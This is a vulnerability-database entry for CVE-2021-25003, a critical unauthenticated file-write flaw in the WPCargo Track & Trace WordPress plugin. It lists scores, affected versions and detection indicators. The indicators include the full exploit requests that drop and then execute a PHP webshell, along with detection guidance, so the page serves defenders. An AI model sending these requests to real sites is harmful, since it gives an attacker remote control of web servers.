cbcvebase.
CVE-2021-25003
published 2022-03-14

CVE-2021-25003: The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web…

PriorityP189critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
56.15%
98.9th percentile
The WPCargo Track & Trace WordPress plugin before 6.9.0 contains a file which could allow unauthenticated attackers to write a PHP file anywhere on the web server, leading to RCE

Affected

1 ranges
VendorProductVersion rangeFixed in
wptaskforcewpcargo_track_trace< 6.9.06.9.0

Detection & IOCsextracted from sources · hover to see the quote

url/wp-content/plugins/wpcargo/includes/barcode.php
path/wp-content/plugins/wpcargo/includes/barcode.php
commandGET /wp-content/plugins/wpcargo/includes/barcode.php?text=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx&sizefactor=.090909090909&size=1&filepath=<WEBSHELL>.php
commandPOST /wp-content/plugins/wpcargo/includes/<WEBSHELL>.php?1=var_dump
othertext=x1x1111x1xx1xx111xx11111xx1x111x1x1x1xxx11x1111xx1x11xxxx1xx1xxxxx1x1x1xx1x1x11xx1xxxx1x11xx111xxx1xx1xx1x1x1xxx11x1111xxx1xxx1xx1x111xxx1x1xx1xxx1x1x1xx1x1x11xxx11xx1x11xx111xx1xxx1xx11x1x11x11x1111x1x11111x1x1xxxx
  • Probe for unauthenticated GET requests to barcode.php with 'text', 'sizefactor', and 'filepath' parameters — the crafted 'text' value encodes a PHP webshell payload via barcode pixel manipulation; 'filepath' controls where the resulting PHP file is written on disk.
  • Detect POST requests to a newly created PHP file under /wp-content/plugins/wpcargo/includes/ with query parameter '?1=var_dump' and a POST body of '2=<md5_value>' — this is the webshell execution step confirming successful RCE.
  • The exploit response body contains the string 'PNG' alongside the md5 hash output, which can be used as a combined matcher to confirm successful webshell drop and execution.
  • The sizefactor parameter value '.090909090909' is a fixed exploit artifact used to control barcode pixel sizing to encode the PHP payload — flag any request to barcode.php containing this exact value.
  • ·The exploit is unauthenticated and requires no credentials — any internet-exposed WordPress site running WPCargo Track & Trace before 6.9.0 is vulnerable without any prior authentication.
  • ·The 'filepath' parameter in the exploit allows writing the PHP webshell to arbitrary locations on the web server, not just within the plugin directory — detection scope should not be limited to the plugin path alone.
  • ·The Nuclei template uses a random string ({{randstr}}) as the dropped webshell filename, meaning the filename itself is not a static IOC — detection must rely on behavioral patterns (new PHP files in plugin dirs, barcode.php parameter abuse) rather than a fixed filename.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
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